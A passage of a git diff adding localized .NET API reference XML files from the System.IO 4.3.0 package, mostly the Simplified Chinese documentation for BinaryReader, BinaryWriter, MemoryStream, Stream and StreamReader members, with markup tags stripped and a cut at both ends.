текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если массив символов имеет значение null, записывается только признак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в текстовую строку или поток строку, за которой следует знак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак конца строки. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/zh-hans/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/zh-hans/System.IO.xml new file mode 100644 index 0000000..4b2e096 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/zh-hans/System.IO.xml @@ -0,0 +1,2237 @@ + + + + System.IO + + + + 用特定的编码将基元数据类型读作二进制值。 + 2 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输入流。 + 该流不支持读取，为null 或已关闭。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输入流。 + 要使用的字符编码。 + 该流不支持读取，为null 或已关闭。 + + 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输入流。 + 要使用的字符编码。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + 该流不支持读取，为null 或已关闭。 + + 或 为 null。 + + + 公开对 的基础流的访问。 + 与 BinaryReader 关联的基础流。 + 2 + + + 释放 类的当前实例所使用的所有资源。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 用从流中读取的指定字节数填充内部缓冲区。 + 要读取的字节数。 + 在可以读取 之前到达了流的末尾。 + 发生 I/O 错误。 + 请求的 大于内部缓冲区大小。 + + + 返回下一个可用的字符，并且不提升字节或字符的位置。 + 下一个可用的字符，或者，如果没有可用字符或者流不支持查找时为 -1。 + 发生 I/O 错误。 + 当前字符无法通过使用为该流选择的 解码到内部字符缓冲区中。 + 2 + + + 从基础流中读取字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 输入流中的下一个字符，如果当前无可用字符则为 -1。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 从字节数组中的指定点开始，从流中读取指定的字节数。 + 读入 的字节数。如果可用的字节没有请求的那么多，此数可能小于所请求的字节数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字节数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从字符数组中的指定点开始，从流中读取指定的字符数。 + 读入缓冲区的总字符数。如果当前可用的字节没有请求的那么多，此数可能小于所请求的字符数；如果到达了流的末尾，此数可能为零。 + 将数据读入的缓冲区。 + 缓冲区中的起始点，在该处开始读入缓冲区。 + 要读取的字符数。 + 缓冲区长度减去 小于 。- 或 -要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + + 为 null。 + + 或 为负。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 以压缩格式读入 32 位整数。 + 压缩格式的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 流已损坏。 + + + 从当前流中读取 Boolean 值，并使该流的当前位置提升 1 个字节。 + 如果字节为非零，则为 true，否则为 false。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取下一个字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的下一个字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取指定的字节数以写入字节数组中，并将当前位置前移相应的字节数。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字节数组可能小于所请求的字节数。 + 要读取的字节数。此值必须为 0 或非负数字，否则将出现异常。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 发生 I/O 错误。 + 流已关闭。 + + 为负数。 + 2 + + + 从当前流中读取下一个字符，并根据所使用的 Encoding 和从流中读取的特定字符，提升流的当前位置。 + 从当前流中读取的字符。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 读取了一个代理项字符。 + 2 + + + 从当前流中读取指定的字符数，并以字符数组的形式返回数据，然后根据所使用的 Encoding 和从流中读取的特定字符，将当前位置前移。 + 包含从基础流中读取的数据的字节数组。如果到达了流的末尾，则该字符数组可能小于所请求的字符数。 + 要读取的字符数。 + 要读取的解码字符数大于 。如果 Unicode 解码器返回回退字符或代理项对，则可能发生此情况。 + 流已关闭。 + 发生 I/O 错误。 + + 为负数。 + 2 + + + 从当前流中读取十进制数值，并将该流的当前位置提升十六个字节。 + 从当前流中读取的十进制数值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节浮点值，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 2 字节有符号整数，并使流的当前位置提升 2 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节有符号整数，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 2 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节有符号整数，并使流的当前位置提升 8 个字节。 + 从当前流中读取的 8 字节有符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从此流中读取 1 个有符号字节，并使流的当前位置提升 1 个字节。 + 从当前流中读取的一个有符号字节。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节浮点值，并使流的当前位置提升 4 个字节。 + 从当前流中读取的 4 字节浮点值。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取一个字符串。字符串有长度前缀，一次 7 位地被编码为整数。 + 正被读取的字符串。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 使用 Little-Endian 编码从当前流中读取 2 字节无符号整数，并将流的位置提升 2 个字节。 + 从该流中读取的 2 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 4 字节无符号整数并使流的当前位置提升 4 个字节。 + 从该流中读取的 4 字节无符号整数。 + 已到达流的末尾。 + 流已关闭。 + 发生 I/O 错误。 + 2 + + + 从当前流中读取 8 字节无符号整数并使流的当前位置提升 8 个字节。 + 从该流中读取的 8 字节无符号整数。 + 已到达流的末尾。 + 发生 I/O 错误。 + 流已关闭。 + 2 + + + 以二进制形式将基元类型写入流，并支持用特定的编码写入字符串。 + 2 + + + 初始化向流中写入的 类的新实例。 + + + 基于所指定的流和特定的 UTF-8 编码，初始化 类的新实例。 + 输出流。 + 该流不支持写入或者该流已关闭。 + + 为 null。 + + + 基于所指定的流和特定的字符编码，初始化 类的新实例。 + 输出流。 + 要使用的字符编码。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 基于所提供的流和特定的字符编码，初始化 类的新实例，有选择性的打开流。 + 输出流。 + 要使用的字符编码。 + 如果在释放 对象之后打开流对象，则为 true；否则为， false。 + 该流不支持写入或者该流已关闭。 + + 或 为 null。 + + + 获取 的基础流。 + 与 BinaryWriter 关联的基础流。 + 1 + + + 释放由 类的当前实例占用的所有资源。 + + + 释放由 占用的非托管资源，还可以另外再释放托管资源。 + true 表示释放托管资源和非托管资源；false 表示仅释放非托管资源。 + + + 清理当前编写器的所有缓冲区，使所有缓冲数据写入基础设备。 + 1 + + + 指定无后备存储区的 。 + 1 + + + 持有基础流。 + + + 设置当前流中的位置。 + 包含当前流的位置。 + 相对于 的字节偏移量。 + + 的一个字段，指示获取新位置所依据的参考点。 + 文件指针被移到无效位置。 + + 值无效。 + 1 + + + 将单字节 Boolean 值写入当前流，其中 0 表示 false，1 表示 true。 + 要写入的 Boolean 值（0 或 1）。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个无符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的无符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将字节数组写入基础流。 + 包含要写入的数据的字节数组。 + 发生 I/O 错误。 + 流已关闭。 + + 为 null。 + 1 + + + 将字节数组部分写入当前流。 + 包含要写入的数据的字节数组。 + + 中开始写入的起始点。 + 要写入的字节数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 Unicode 字符写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 要写入的非代理项 Unicode 字符。 + 发生 I/O 错误。 + 流已关闭。 + + 是单一代理项字符。 + 1 + + + 将字符数组写入当前流，并根据所使用的 Encoding 和向流中写入的特定字符，提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 为 null。 + 流已关闭。 + 发生 I/O 错误。 + 1 + + + 将字符数组部分写入当前流，并根据所使用的 Encoding（可能还根据向流中写入的特定字符），提升流的当前位置。 + 包含要写入的数据的字符数组。 + + 中开始写入的起始点。 + 要写入的字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个十进制值写入当前流，并将流位置提升十六个字节。 + 要写入的十进制值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节浮点值写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 2 字节有符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节有符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节有符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节有符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将一个有符号字节写入当前流，并将流的位置提升 1 个字节。 + 要写入的有符号字节。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节浮点值写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节浮点值。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将有长度前缀的字符串按 的当前编码写入此流，并根据所使用的编码和写入流的特定字符，提升流的当前位置。 + 要写入的值。 + 发生 I/O 错误。 + + 为 null。 + 流已关闭。 + 1 + + + 将 2 字节无符号整数写入当前流，并将流的位置提升 2 个字节。 + 要写入的 2 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 4 字节无符号整数写入当前流，并将流的位置提升 4 个字节。 + 要写入的 4 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 将 8 字节无符号整数写入当前流，并将流的位置提升 8 个字节。 + 要写入的 8 字节无符号整数。 + 发生 I/O 错误。 + 流已关闭。 + 1 + + + 以压缩格式写出 32 位整数。 + 要写出的 32 位整数。 + 已到达流的末尾。 + 流已关闭。 + 流已关闭。 + + + 读操作试图超出流的末尾时引发的异常。 + 2 + + + 初始化 类的新实例，将其消息字符串设置为系统提供的消息，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + + + 初始化 类的新实例，使其消息字符串设置为 ，其 HRESULT 设置为 COR_E_ENDOFSTREAM。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + + + 使用指定错误信息和对作为此异常原因的内部异常的引用来初始化 类的新实例。 + 描述错误的字符串。 的内容被设计为人可理解的形式。此构造函数的调用方需要确保此字符串已针对当前系统区域性进行了本地化。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 在数据流的格式无效时引发的异常。 + + + 初始化 类的新实例。 + + + 使用指定的错误消息初始化 类的新实例。 + 解释异常原因的错误信息。 + + + 用对作为此异常原因的内部异常的引用初始化 类的新实例。 + 解释异常原因的错误信息。 + 导致当前异常的异常。如果 参数不为 null，则当前异常将在处理内部异常的 catch 块中引发。 + + + 创建一个流，其后备存储为内存。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化为零的可扩展容量初始化 类的新实例。 + + + 基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建当前流的无符号字节数组。 + + 为 null。 + + + 在 属性按指定设置的状态下，基于指定的字节数组初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + + 基于字节数组的指定区域（索引）初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 为 null。 + + 或 小于零。 + 缓冲区长度减去 小于 。 + + + 在 属性按指定设置的状态下，基于字节数组的指定区域，初始化 类的无法调整大小的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 在 属性和调用 的能力按指定设置的状态下，基于字节数组的指定区域初始化 类的新实例。 + 从中创建此流的无符号字节的数组。 + + 内的索引，流从此处开始。 + 流的长度（以字节为单位）。 + + 属性的设置，确定该流是否支持写入。 + 设置为 true 可以启用 ，它返回无符号字节数组，流从该数组创建；否则为 false。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 小于 。 + + + 使用按指定要求初始化的可扩展容量初始化 类的新实例。 + 内部数组的初始大小（以字节为单位）。 + + 为负数。 + + + 获取一个值，该值指示当前流是否支持读取。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持查找。 + 如果流是打开的，则为 true。 + 2 + + + 获取一个值，该值指示当前流是否支持写入。 + 如果流支持写入，则为 true；否则为 false。 + 2 + + + 获取或设置分配给该流的字节数。 + 流的缓冲区的可使用部分的长度。 + 容量设置为负或小于流的当前长度。 + 当前流已关闭。 + 对不能修改其容量的流调用 set。 + 2 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取所有字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。 + 要监视取消请求的标记。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放 类使用的非托管资源，并可以选择释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 重写 方法以便不执行任何操作。 + 2 + + + 异步清除此流的所有缓冲区，并监视取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。 + 流已被释放。 + + + 获取流的长度（以字节为单位）。 + 流的长度（以字节为单位）。 + 流已关闭。 + 2 + + + 获取或设置流中的当前位置。 + 流中的当前位置。 + 此位置设置为负值或大于 的值。 + 流已关闭。 + 2 + + + 从当前流中读取字节块并将数据写入缓冲区。 + 写入缓冲区中的总字节数。如果字节数当前不可用，则总字节数可能小于所请求的字节数；如果在读取到任何字节前已到达流结尾，则为零。 + 当此方法返回时，包含指定的字节数组，该数组中从 到 ( + -1) 之间的值由从当前流中读取的字符替换。 + + 中的从零开始的字节偏移量，从此处开始存储当前流中的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + 缓冲区长度减去 的结果小于 。 + 当前流实例已关闭。 + 2 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流中读取一个字节。 + 强制转换为 的字节；或者如果已到达流的末尾，则为 -1。 + 当前流实例已关闭。 + 2 + + + 将当前流中的位置设置为指定值。 + 流内的新位置，通过将初始引用点和偏移量合并计算而得。 + 流内的新位置。它是相对于 参数的位置，而且可正可负。 + 类型 的值，它用作查找引用点。 + 试图在流的开始位置之前查找。 + + 大于 。 + + 无效。- 或 - 导致算法溢出。 + 当前流实例已关闭。 + 2 + + + 将当前流的长度设为指定值。 + 用于设置长度的值。 + 当前流无法调整大小，而且 大于当前容量。- 或 - 当前流不支持写入。 + + 为负或者大于 的最大长度，其中最大长度为 (- origin)，origin 为基础缓冲区中作为流的起点的索引。 + 2 + + + 将流内容写入字节数组，而与 属性无关。 + 新的字节数组。 + 2 + + + 返回从中创建此流的无符号字节的数组。用于指示转换是否成功的返回值。 + 如果转换成功，则为 true；否则为 false。 + 用于创建此流的字节数组段。 + + + 使用从缓冲区读取的数据将字节块写入当前流。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 最多写入的字节数。 + + 为 null。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置到流结尾的距离小于 字节，并且无法修改容量。 + 缓冲区长度减去 的结果小于 。 + + 或 为负。 + 发生 I/O 错误。 + 当前流实例已关闭。 + 2 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入当前位置上的当前流。 + 要写入的字节。 + 流不支持写入。有关其他信息，请参见 。- 或 - 当前位置位于流的末尾，而且容量不能被修改。 + 当前流已关闭。 + 2 + + + 将此内存流的整个内容写入到另一个流中。 + 要写入此内存流的流。 + + 为 null。 + 当前流或目标流已关闭。 + 2 + + + 指定在流的位置以查找使用。 + 2 + + + 指定流的开头。 + + + 指定流内的当前位置。 + + + 指定流的结尾。 + + + 提供字节序列的一般视图。这是一个抽象类。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 类的新实例。 + + + 当在派生类中重写时，获取指示当前流是否支持读取的值。 + 如果流支持读取，为 true；否则为 false。 + 1 + + + 当在派生类中重写时，获取指示当前流是否支持查找功能的值。 + 如果流支持查找，为 true；否则为 false。 + 1 + + + 获取一个值，该值确定当前流是否可以超时。 + 一个确定当前流是否可以超时的值。 + 2 + + + 当在派生类中重写时，获取指示当前流是否支持写入功能的值。 + 如果流支持写入，则为 true；否则为 false。 + 1 + + + 从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 使用指定的缓冲区大小，从当前流中读取字节并将其写入到另一流中。 + 当前流的内容将复制到的流。 + 缓冲区的大小。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流不支持读取。- 或 - 不支持写入。 + 在调用 方法前当前流或 已关闭。 + 发生了 I/O 错误。 + + + 从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + + 为 null。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小，从当前流中异步读取字节并将其写入到另一流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 使用指定的缓冲区大小和取消令牌，从当前流中异步读取字节并将其写入到另一个流中。 + 表示异步复制操作的任务。 + 当前流的内容将复制到的流。 + 缓冲区的大小（以字节为单位）。此值必须大于零。默认大小为 81920。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 为负数或零。 + 当前流或目标流已释放。 + 当前流不支持阅读，或目标流不支持写入。 + + + 释放由 使用的所有资源。 + + + 释放由 占用的非托管资源，还可以释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 当在派生类中重写时，将清除该流的所有缓冲区，并使得所有缓冲数据被写入到基础设备。 + 发生 I/O 错误。 + 2 + + + 异步清除此流的所有缓冲区并导致所有缓冲数据都写入基础设备中。 + 表示异步刷新操作的任务。 + 流已被释放。 + + + 异步清理这个流的所有缓冲区，并使所有缓冲数据写入基础设备，并且监控取消请求。 + 表示异步刷新操作的任务。 + 要监视取消请求的标记。默认值为 。 + 流已被释放。 + + + 当在派生类中重写时，获取流长度（以字节为单位）。 + 表示流长度（以字节为单位）的长值。 + 从 Stream 派生的类不支持查找。 + 在流关闭后调用方法。 + 1 + + + 无后备存储区的 Stream。 + 1 + + + 当在派生类中重写时，获取或设置当前流中的位置。 + 流中的当前位置。 + 发生 I/O 错误。 + 流不支持查找。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，从当前流读取字节序列，并将此流中的位置提升读取的字节数。 + 读入缓冲区中的总字节数。如果很多字节当前不可用，则总字节数可能小于请求的字节数；如果已到达流结尾，则为零 (0)。 + 字节数组。此方法返回时，该缓冲区包含指定的字符数组，该数组的 和 ( + -1) 之间的值由从当前源中读取的字节替换。 + + 中的从零开始的字节偏移量，从此处开始存储从当前流中读取的数据。 + 要从当前流中最多读取的字节数。 + + 与 的和大于缓冲区长度。 + + 为 null。 + + 或 为负。 + 发生 I/O 错误。 + 流不支持读取。 + 在流关闭后调用方法。 + 1 + + + 从当前流异步读取字节序列，并将流中的位置提升读取的字节数。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从当前流异步读取字节的序列，将流中的位置提升读取的字节数，并监视取消请求。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 数据写入的缓冲区。 + + 中的字节偏移量，从该偏移量开始写入从流中读取的数据。 + 最多读取的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持读取。 + 流已被释放。 + 该流正在由其前一次读取操作使用。 + + + 从流中读取一个字节，并将流内的位置向前提升一个字节，或者如果已到达流结尾，则返回 -1。 + 强制转换为 Int32 的无符号字节，如果到达流的末尾，则为 -1。 + 流不支持读取。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试读取多长时间。 + 一个确定流在超时前尝试读取多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 当在派生类中重写时，设置当前流中的位置。 + 当前流中的新位置。 + 相对于 参数的字节偏移量。 + + 类型的值，指示用于获取新位置的参考点。 + 发生 I/O 错误。 + 流不支持查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 1 + + + 当在派生类中重写时，设置当前流的长度。 + 所需的当前流的长度（以字节表示）。 + 发生 I/O 错误。 + 流不支持写入和查找，例如在流通过管道或控制台输出构造的情况下即为如此。 + 在流关闭后调用方法。 + 2 + + + 当在派生类中重写时，向当前流中写入字节序列，并将此流中的当前位置提升写入的字节数。 + 字节数组。此方法将 个字节从 复制到当前流。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到当前流。 + 要写入当前流的字节数。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 流不支持写入。 + + 流关闭后调用。 + 1 + + + 将字节序列异步写入当前流，并将流的当前位置提升写入的字节数。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将字节的序列异步写入当前流，将该流中的当前位置向前移动写入的字节数，并监视取消请求。 + 表示异步写入操作的任务。 + 从中写入数据的缓冲区。 + + 中的从零开始的字节偏移量，从此处开始将字节复制到该流。 + 最多写入的字节数。 + 要监视取消请求的标记。默认值为 。 + + 为 null。 + + 或 为负。 + + 与 的和大于缓冲区长度。 + 流不支持写入。 + 流已被释放。 + 该流正在由其前一次写入操作使用。 + + + 将一个字节写入流内的当前位置，并将流内的位置向前提升一个字节。 + 要写入流中的字节。 + 发生 I/O 错误。 + 该流不支持写入，或者该流已关闭。 + 在流关闭后调用方法。 + 2 + + + 获取或设置一个值（以毫秒为单位），该值确定流在超时前尝试写入多长时间。 + 一个确定流在超时前尝试写入多长时间的值（以毫秒为单位）。 + + 方法总是引发 。 + 2 + + + 实现一个 ，使其以一种特定的编码从字节流中读取字符。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 为指定的流初始化 类的新实例。 + 要读取的流。 + + 不支持读取。 + + 为 null。 + + + 用指定的字节顺序标记检测选项，为指定的流初始化 类的一个新实例。 + 要读取的流。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 为 null。 + + + 用指定的字符编码为指定的流初始化 类的一个新实例。 + 要读取的流。 + 要使用的字符编码。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码和字节顺序标记检测选项。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + + 不支持读取。 + + 或 为 null。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小。 + 要读取的流。 + 要使用的字符编码。 + 指示是否在文件头查找字节顺序标记。 + 最小缓冲区大小。 + 流不支持读取。 + + 或 为 null。 + + 小于或等于零。 + + + 为指定的流初始化 类的新实例，带有指定的字符编码、字节顺序标记检测选项和缓冲区大小，有选择性的打开流。 + 要读取的流。 + 要使用的字符编码。 + 如果要在文件开头查找字节顺序标记，则为 true；否则为 false。 + 最小缓冲区大小。 + 如果在释放 对象后保持流处于打开状态，则为 true；否则为 false。 + + + 返回基础流。 + 基础流。 + 2 + + + 获取当前 对象正在使用的当前字符编码。 + 当前读取器所使用的当前字符编码。第一次调用 的任何 方法后，该值可能会不同，因为直到第一次调用 方法时，才会进行编码的自动检测。 + 2 + + + 清除内部缓冲区。 + 2 + + + 关闭基础流，释放 使用的未托管资源，同时还可以根据需要释放托管资源。 + 若要释放托管资源和非托管资源，则为 true；若仅释放非托管资源，则为 false。 + + + 获取一个值，该值指示当前的流位置是否在流结尾。 + 如果当前流位置位于流的末尾，则为 true；否则为 false。 + 基础流已释放。 + 1 + + + 空流周围的 。 + 1 + + + 返回下一个可用字符，但不使用它。 + 为表示下一个要读取的字符的整数，或者，如果没有要读取的字符或该流不支持查找，则为 -1。 + 发生 I/O 错误。 + 1 + + + 读取输入流中的下一个字符并使该字符位置提升一个字符。 + 输入流中表示为 对象的下一个字符。如果不再有可用的字符，则为 -1。 + 发生 I/O 错误。 + 1 + + + 从指定的索引位置开始将来自当前流的指定的最多字符读到缓冲区。 + 已读取的字符数，或者如果已到达流结尾并且未读取任何数据，则为 0。该数小于或等于 参数，具体取决于流中是否有可用的数据。 + 此方法返回时，包含指定的字符数组，该数组的 和 () 之间的值由从当前源中读取的字符替换。 + 开始写入的 的索引。 + 要读取的最大字符数。 + 缓冲区长度减去 小于 。 + + 为 null。 + + 或 为负。 + 出现 I/O 错误，如流被关闭。 + 1 + + + 从当前流中异步读取指定的最大字符，并且从指定的索引位置开始将该数据写入缓冲区。 + 表示异步读取操作的任务。 参数的值包含读入缓冲区的总字节数。如果当前可用字节数少于所请求的字节数，则该结果值可小于所请求的字节数；如果已到达流结尾时，则为 0（零）。 + 此方法返回时，包含指定的字符数组，该数组的 和 ( + - 1) 之间的值由从当前源中读取的字符替换。 + 在 